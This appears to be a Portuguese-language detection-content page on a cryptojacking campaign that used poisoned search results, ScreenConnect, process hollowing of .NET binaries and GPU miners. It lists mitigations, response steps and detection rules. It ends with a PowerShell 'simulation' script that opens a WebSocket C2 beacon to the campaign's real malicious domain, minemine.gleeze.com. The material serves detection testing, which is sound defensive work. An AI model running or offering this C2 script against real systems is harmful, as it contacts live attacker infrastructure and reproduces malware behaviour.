De Resultados de Busca Envenenados à Mineração GPU: Uma Campanha de Cryptojacking Usando ScreenConnect e Utilitários .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Esta campanha usa envenenamento de SEO e resultados de busca manipulados de chatbots de IA para atrair usuários a baixarem ferramentas falsas de monitoração de hardware. Os instaladores troianizados carregam um DLL malicioso que é carregado lateralmente em uma aplicação legítima e discretamente implanta o ScreenConnect. Os atacantes então usam o ScreenConnect para lançar um carregador RunPE personalizado que esvazia binários .NET assinados pela Microsoft e injeta a carga útil da próxima etapa. A etapa final baixa ferramentas de mineração de GPU como gminer, lolMiner, e SRBMiner-MULTI, então mantém persistência através de tarefas agendadas, chaves Run do registro, e um atalho de inicialização. O malware também adiciona exclusões no Windows Defender para reduzir a chance de detecção.
Investigação
Pesquisadores da Microsoft Defender mapearam toda a cadeia de infecção, incluindo o método de sideloading de DLL, abuso do ScreenConnect como uma ferramenta de gerenciamento remoto e uso de um carregador RunPE personalizado chamado SimpleRunPE.exe. Analistas recuperaram os argumentos de linha de comando do ScreenConnect, identificaram a lista de binários .NET assinados usados para o esvaziamento de processo, e documentaram um ponto de comando e controle protegido por um certificado TLS fixado. A investigação também descobriu infraestruturas de suporte como domínios maliciosos, endereços IP, e detalhes do provedor de DNS vinculados à campanha.
Mitigação
Os defensores devem habilitar a proteção baseada em nuvem, aplicar regras de redução de superfície de ataque, bloquear arquivos executáveis que não atendem a requisitos de reputação, prevalência, ou idade, e ativar a proteção da web e rede no Microsoft Defender for Endpoint. Ferramentas de gerenciamento remoto como ScreenConnect devem ser desativadas onde desnecessárias ou rigorosamente controladas onde requeridas, com monitoramento para tarefas agendadas não autorizadas e entradas de registro Run suspeitas. Quaisquer exclusões do Windows Defender adicionadas pelo malware devem ser removidas imediatamente, e os domínios maliciosos e endereços IP identificados devem ser bloqueados.
Resposta
If RuntimeHost.exe or SimpleRunPE.exe é encontrado sendo executado a partir de diretórios de cache ocultos, isole o host afetado imediatamente, termine a sessão relacionada ao ScreenConnect, e remova todos os mecanismos de persistência, incluindo tarefas agendadas, chaves Run, e atalhos de inicialização. Bloqueie o domínio minemine.gleeze.com e os endereços IP observados, então busque em todo o ambiente pelos binários de minerador listados e autorun.dll. Finalmente, restaure as proteções do Defender e revise as configurações de exclusão para quaisquer mudanças não autorizadas.
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/Favo NTUSER] (via evento_de_registro)
Proof of Value
Schtasks Aponta para Diretório / Binário / Script Suspeito (via linha_comando)
Proof of Value
Software Alternativo de Acesso / Gerenciamento Remoto (via criação_processo)
Proof of Value
Uso Suspeito de CURL (via linha_comando)
Proof of Value
Chamar Métodos .NET Suspeitos do Powershell (via powershell)
Proof of Value
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Proof of Value
Verificações de Evasão Possíveis (via powershell)
Proof of Value
Binários / Scripts Suspeitos na Localização de Inicialização Automatizada (via evento_arquivo)
Proof of Value
IOCs (HashSha256) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft
Proof of Value
IOCs (SourceIP) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft
Proof of Value
IOCs (DestinationIP) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft
Proof of Value
Comunicação C2 da Binary Esvaziada [Conexão de Rede do Windows]
Proof of Value
Acesso Remoto Persistente e Esvaziamento de Processo via ScreenConnect e SimpleRunPE [Criação de Processo do Windows]
Proof of Value
Execução de Simulação
Pré-requisito: O Teste de Pré-voo de Telemetria e Base deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica (TTP) do adversário projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um atacante já entregou um binário legítimo esvaziado na máquina da vítima. O binário agora inicia um canal C2 persistente sobre um WebSocket conexão parawss://minemine.gleeze.com:8443/ws. Para emular isso, usamos um script PowerShell que cria um .NETClientWebSocket, opcionalmente define um retorno de chamada de validação de certificado TLS personalizado (simulando fixação de certificado), e mantém a conexão por um breve período. -
Script de Teste de Regressão:
# Simular comunicação C2 de um binário esvaziado # Requisitos: PowerShell 5+ (classes .NET integradas) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Criar cliente WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # OPCIONAL: Impor fixação de certificado (aceitar apenas uma impressão digital específica) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # placeholder $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "Conectando ao endpoint C2 $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "Conexão estabelecida. Enviando carga útil de sinalização..." # Enviar uma sinalização fictícia (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Manter o canal aberto por uma janela curta } finally { Write-Host "Fechando WebSocket..." $ws.Abort() } -
Comandos de Limpeza:
# Garantir que quaisquer processos WebSocket remanescentes sejam encerrados Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Opcionalmente, remover arquivos temporários usados no teste Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue